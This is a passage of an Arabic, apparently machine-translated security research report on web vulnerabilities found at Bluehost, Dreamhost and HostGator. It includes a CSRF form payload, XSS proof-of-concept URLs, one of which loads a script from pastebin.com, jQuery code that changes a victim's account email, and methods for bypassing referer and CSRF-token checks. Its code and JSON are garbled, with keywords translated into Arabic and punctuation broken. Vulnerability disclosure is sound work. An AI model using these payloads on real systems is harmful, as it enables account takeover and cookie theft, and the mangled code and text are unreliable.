تقرير: لقد اختبرنا 5 شركات استضافة ويب مشهورة وتم اختراقها جميعًا بسهولة

[email protected]"،" city ":" N EW "،" postal_code ":" 0000 "،" مقاطعة ":" WA "،" First_name ":" FirstName "value =" "،" organization ": null}" type = "hidden "ستنشئ شفرة HTML أعلاه طلب JSON مشابهًا للطلب الذي نحتاجه ، {" country ":" US "،" phone ":" + 1.NEWPHONE "،" street1 ":" NEW STREET "،" last_name ": "اسم العائلة" ، "البريد الإلكتروني": "[email protected]"،" city ":" N EW "،" postal_code ":" 0000 "،" مقاطعة ":" WA "،" first_name ":" FirstName = "، Organization": null}

نظرًا لأن المتصفحات تضيف عادةً = (علامة التساوي) فـ ي نهاية اسم الإدخال ، يمكننا معالجة JSON لتضمين علامة المساواة فـ ي الاسم الأول ، وإضافة القيم المتبقية فـ ي سمة “القيمة”: المؤسسة “: فارغ}

كما ترى ، سيتم إرسال الطلب مع نوع المحتوى: نص / عادي و لا التطبيق / json – لكن Bluehost لا يمانع فـ ي ذلك ، مما يجعل استغلالنا يعمل عبر الأصل.

عادة ، يتحقق Bluehost مما إذا كان المجال المرجعي هو bluehost.com – إذا تم إرسال الطلب مـن أي موقع ويب آخر ، فسيرفض Bluehost الطلب باستجابة 500.

يمكن تجاوز ذلك بسهولة عن طريق استخدام المحتوى = “لا يوجد مُحيل” فـ ي العلامة الوصفـ ية ، لأنه إذا لم يتم إرسال أي مُحيل ، فسيسمح Bluehost بالطلب.

3. رجل فـ ي الوسط بسبب التحقق غير المـناسب مـن مخطط CORS

خطورة: متوسط

تأثير: تسمح مشكلة عدم الحصانة هذه للمهاجم داخل شبكة الإنترنت الخاصة بالضحية ، مثل شبكة Wi-Fi العامة أو الشبكة المحلية (LAN) بقراءة محتويات حركة مرور Bluehost المرتبطة بالضحية كنص عادي ، عــل ى الرغم مـن استخدام Bluehost لحركة مرور SSL / HTTPS لتشفـ ير محتوياتها.

تستند هذه الثغرة الأمـنية إلى المشكلة رقم 1 (CORS Misconfiguration) – ولكن بدلاً مـن عدم التحقق مـن النطاق ، فـ ي هذه الحالة ، لا يتحقق Bluehost مـن النظام / البروتوكول عند السماح له بقراءة محتوياته.

كما ترى فـ ي الرد ، يمـنح Bluehost مجال HTTP لقراءة محتوياته.هذا يخبر المتصفح بالسماح لنطاق HTTP بالوصول إلى محتوياته (غير مشفر) – هذا الهجوم الذي تم إرجاعه إلى إصدار أقدم يجعل استخدام شهادة SSL بواسطة Bluehost عديم الفائدة تمامًا ويتعارض مع الغرض الكامل مـن استخدام طلب HTTPS فـ ي المقام الأول.

4. XSS عــل ى my.bluehost.com يسمح بالاستيلاء عــل ى الحساب

خطورة: مرتفعة بشكل معتدل

تأثير: تسمح هذه الثغرة الأمـنية للمهاجم بتنفـ يذ الأوامر بصفته العميل عــل ى Bluehost.com – وهذا يعني القدرة عــل ى تغيير وتعديل وإضافة المحتوى ، بما فـ ي ذلك عنوان البريد الإلكتروني. يمكن للمهاجم قراءة محتوى عن الضحية ، أو تغيير المحتوى عــل ى موقعه عــل ى الويب عندما ينقر الضحية عــل ى رابط ضار أو يزور أحد مواقع الويب.

هناك مشكلتان مـنخفضتا التأثير تجعلان هذه الثغرة الأمـنية خطيرة بشكل لا يصدق.الأولى هي أن Bluehost لا يتطلب كلمة مرور حالية عند تغيير عنوان البريد الإلكتروني. وهذا يعني أنه يمكن للمرء ببساطة تغيير عنوان البريد الإلكتروني وإعادة تعيين كلمة المرور باستخدام XSS.

والثاني هو عدم قيام Bluehost بتعيين أي علامات HttpOnly عــل ى ملفات تعريف الارتباط الحساسة الخاصة بهم. وهذا يعني أن أي JavaScript يمكنه الوصول إليها وإرسالها إلى مهاجم ضار ، ويمكن للمهاجم استخدام ملفات تعريف الارتباط هذه للمصادقة كمستخدم.

PoC: https://my.bluehost.com/cgi/dm/subdomain/redirect؟domainkey= “

Dreamhost XSS ونقاط الضعف فـ ي الكشف عن المعلومات

1. الاستيلاء عــل ى الحساب عبر XSS

خطورة: مرتفعة بشكل معتدل

تأثير: تسمح هذه الثغرة الأمـنية للمهاجم بتغيير البريد الإلكتروني أو كلمة المرور الخاصة بالضحية بسهولة إلى أي شيء يرغب فـ يه عندما يزور الضحية رابطًا أو موقع ويب ضارًا.

الحمولة:

https://panel.dreamhost.com/tree=domain.manage¤t_step=Index&next_step=ShowAddhttp&domain=:lol “

يمكن أن يمتد هذا إلى الاستيلاء عــل ى الحساب بسبب DreamHost لا يطلب كلمة مرور لتغيير عنوان بريدك الإلكتروني ، لذلك يمكن للمهاجم ببساطة تنفـ يذ هجوم CSRF باستخدام ثغرة XSS هذه للسيطرة عــل ى أي حساب.

.ajax $ ({
url: "https://panel.dreamhost.com/id/؟tab=contact&command=edit"،
الطريقة: "POST" ،
نوع البيانات: "html" ،
النجاح: الوظيفة (الاستجابة)
{
var security_cookie =
$ (response) .find ("input[name="security_cookie"]") .val () ؛
$ .post ("https://panel.dreamhost.com/id/؟"، {علامة التبويب: "contact"،
الأمر: "submit_edit" ، security_cookie: security_cookie ، بادئة: "" ، أولاً
: "سانتا" ، الوسط: "" ، الأخير: "بلو" ، اللاحقة: "" ، الشارع 1: "نوريت 103" ،
street2: "" ، المدينة: "Ora" ، الولاية: "jerusalem" ، الرمز البريدي: "90880" ، البلد:
"IL" ، البريد الإلكتروني: "[email protected]"، هاتف:" + 954.8888777 "، فاكس:" "، دردشة:" "،
twitter: ""، url: ""}). تم (الوظيفة (البيانات) {
console.log (البيانات) ؛
}) ؛
console.log (security_cookie) ؛
} ،
خطأ: وظيفة (خطأ)
{
console.log (خطأ $) ؛
}
}) ؛

JavaScript أعلاه ، عند تنفـ يذه بواسطة panel.dreamhost.com ، يغير عنوان البريد الإلكتروني الذي تم تسجيل الدخول إليه إلى [email protected] – يمكن القيام بذلك مـن خلال ثغرة XSS الخاصة بنا.

https://panel.dreamhost.com/tree=domain.manage¤t_step=Index&next_step=ShowAddhttp&domain=:lol٪22٪3E٪0A٪3Cscript٪20async٪20src=٪22//pastebin.com/raw/65CayjA7٪22 ٪ 3E٪ 3C / نصي٪ 3E٪ 0A٪ 3Cscript٪ 3E٪ 20 متغير٪ 20x٪ 20 =٪ 20٪ 22 / *

عندما يزور الضحية الرابط أعلاه بأي حال مـن الأحوال ، فسيغير عنوان بريده الإلكتروني إلى المهاجمين.

تحقق مـن الفـ يديو هنا:

الكشف عن معلومات HostGator ونقاط الضعف المتعددة

1. تجاوز حماية CSRF عــل ى مستوى الموقع مما يسمح بالتحكم الكامل

خطورة: عالٍ

تأثير: توجد هذه الثغرة الأمـنية فـ ي جميع أنحاء قسم حساب المستخدم عــل ى موقع الويب.يمكن للمهاجم إضافة أو تعديل أو تغيير أي قيمة فـ ي ملف تعريف الضحية ، بما فـ ي ذلك عنوان البريد الإلكتروني والمعلومات الشخصية ، عندما ينقر الضحية عــل ى رابط أو يزور موقع ويب ضارًا.

HostGator يستخدم عادةً الرموز المميزة المضادة لـ CSRF مع أي عمليات إرسال للنموذج. ومع ذلك ، يمكن خداع الخادم لتجاهل الرموز المميزة المضادة لـ CSRF عن طريق تغيير الرمز المميز لمعامل POST[]= وتركه فارغًا – يتيح ذلك اجتياز فحص CSRF عــل ى أنه صحيح. أظن أن هذا قد يكون ثغرة أمـنية مـن نوع Type Juggling ، مع عينة شفرة زائفة:

إذا (strcasecmp ($ _ GET['token']، "$ csrf_token") == 0) ...